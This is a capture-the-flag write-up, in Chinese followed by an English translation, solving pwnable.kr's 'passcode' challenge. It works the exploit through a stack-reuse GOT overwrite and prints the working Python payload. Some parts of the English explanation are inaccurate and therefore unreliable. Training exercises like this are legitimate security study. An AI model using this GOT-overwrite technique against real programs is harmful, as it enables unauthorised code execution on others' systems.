Passcode
ssh passcode@pwnable.kr -p2222
连接以后有三个文件,我们查看passcode.c
#include <stdio.h>
#include <stdlib.h>
void login(){
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);
printf("checking...\n");
if(passcode1==123456 && passcode2==13371337){
printf("Login OK!\n");
setregid(getegid(), getegid());
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}
void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}
int main(){
printf("Toddler's Secure Login System 1.1 beta.\n");
welcome();
login();
// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}
看完代码,我尝试passcode1123456 && passcode213371337。很显然不对。
我们查看scanf函数man scanf()发现第二个参数要是地址,但是这里给的是值,并且没有给passcode1\2初始化。
welcome函数,能够输入100个字符。这跟上一个很像。所以我们尝试一下gdb。

发现这两个函数是相继调用。这可能会有welcome中的name栈溢出。
我们在welcome和login处打下断电并运行一下函数,并输入100个字符看看

可以看到数据存储在ebp - 0x70处

我们会发现这里已经被覆盖了。说明存在栈溢出,以及栈重用。
溢出多少呢?
可以看到passcode1的地址是ebp - 0x10
’ebp-0x70‘ - ‘ebp-0x10’ = 96
也就是是说,name字段填写96个字符后,后面四个字符会覆盖passcode1的地址。
然后,在login函数中,第一个scanf读取passcode1时,由于缺少&,它会把passcode1的值(即我们通过name数组写入的地址)作为目标地址,并将我们输入的数字写入该地址。
所以引入GOT表,我们把passcode1输入写到fflush(stdin)的GOT表,当执行fflush(stdin)时就会去GOT表相应的地址,执行代码。
所以攻击思路:

观察代码可知,先调用setregid才能cat出flag
初步payload
python2 -c "print 'A'*96 + [fflush@GOT]\n[setregid]\n[any]" > /tmp/test
使用objdump -R passcode查看GOT表

objdump -d passcode反汇编函数

我们要从lea导入时开始,因为lea是在准备下面函数的参数(08049292)
最终payload:
python2 -c "print 'A'*96+'\x14\xc0\x04\x08\n''134517406\n''32\n'" > /tmp/testing
echo $((0x80492a1))可以利用这个计算十六进制

ssh passcode@pwnable.kr -p2222
After connecting, there are three files. Let’s take a look at the passcode.c file:
#include <stdio.h>
#include <stdlib.h>
void login(){
int passcode1;
int passcode2;
printf("Enter passcode1: ");
scanf("%d", passcode1);
fflush(stdin);
// Ha! Mommy told me that 32-bit systems are vulnerable to brute-forcing :)
printf("Enter passcode2: ");
scanf("%d", passcode2);
printf("Checking...\n");
if (passcode1 == 123456 && passcode2 == 13371337){
printf("Login OK!\n");
setregid(getegid(), getegid());
system("/bin/cat flag");
} else {
printf("Login Failed!\n");
exit(0);
}
}
void welcome(){
char name[100];
printf("Enter your name: ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}
int main(){
printf("Toddler’s Secure Login System 1.1 beta.\n");
welcome();
login();
// Something happens after login...
printf("Now I can safely trust that you have the correct credentials:\n");
return 0;
}
After reviewing the code, I tried the values passcode1 = 123456 and passcode2 = 13371337, but that obviously didn’t work.
By checking the scanf function manual, I noticed that the second parameter should be an address, but in this code, it’s given a value. Additionally, passcode1 isn’t initialized properly.
The welcome function can accept up to 100 characters as input, which is similar to the previous case. So, let’s try using GDB to analyze the code.

It turns out that the welcome and login functions are called one after the other. This could potentially lead to a stack overflow in the welcome function.
We set breakpoints at the welcome and login functions and run the program again, then enter 100 characters as input:

We can see that the data is stored at the address ebp - 0x70.

It’s clear that the stack has been overwritten, indicating a stack overflow and stack reutilization.
How much has the stack been overwritten? The address of passcode1 is ebp - 0x10. The difference between ebp - 0x70 and ebp - 0x10 is 96. This means that if the name field is filled with 96 characters, the next 4 characters will overwrite the address of passcode1.
In the login function, the first scanf statement doesn’t use the address operator (&), so it takes the value stored in the name array (which contains the address of passcode1) as the target address and overwrites passcode1 with the input value.
To exploit this vulnerability, we can use the GOT (Global Offset Table) to modify the program’s execution flow. We write the payload to the GOT table using fflush(stdin), which will then execute the modified code at the corresponding address in the GOT table.
Here’s the initial payload:
python2 -c "print 'A'*96 + [fflush@GOT]\n[setregid]\n[any]" > /tmp/test
We can use objdump -R passcode to view the contents of the GOT table:

This payload will overwrite the `setregid` function, allowing us to execute the `system("/bin/cat flag")` command and steal the flag.
`objdump -d passcode` Disassembly of the function
![[image 150.png]]
We need to start from the `lea` instruction, as it is used to prepare the parameters for the following function (at address 08049292).
The final payload is as follows:
```bash
python2 -c "print 'A'*96+'\x14\xc0\x04\x08\n''134517406\n''32\n'" > /tmp/testing
The expression echo $((0x80492a1)) can be used to calculate the corresponding hexadecimal value.
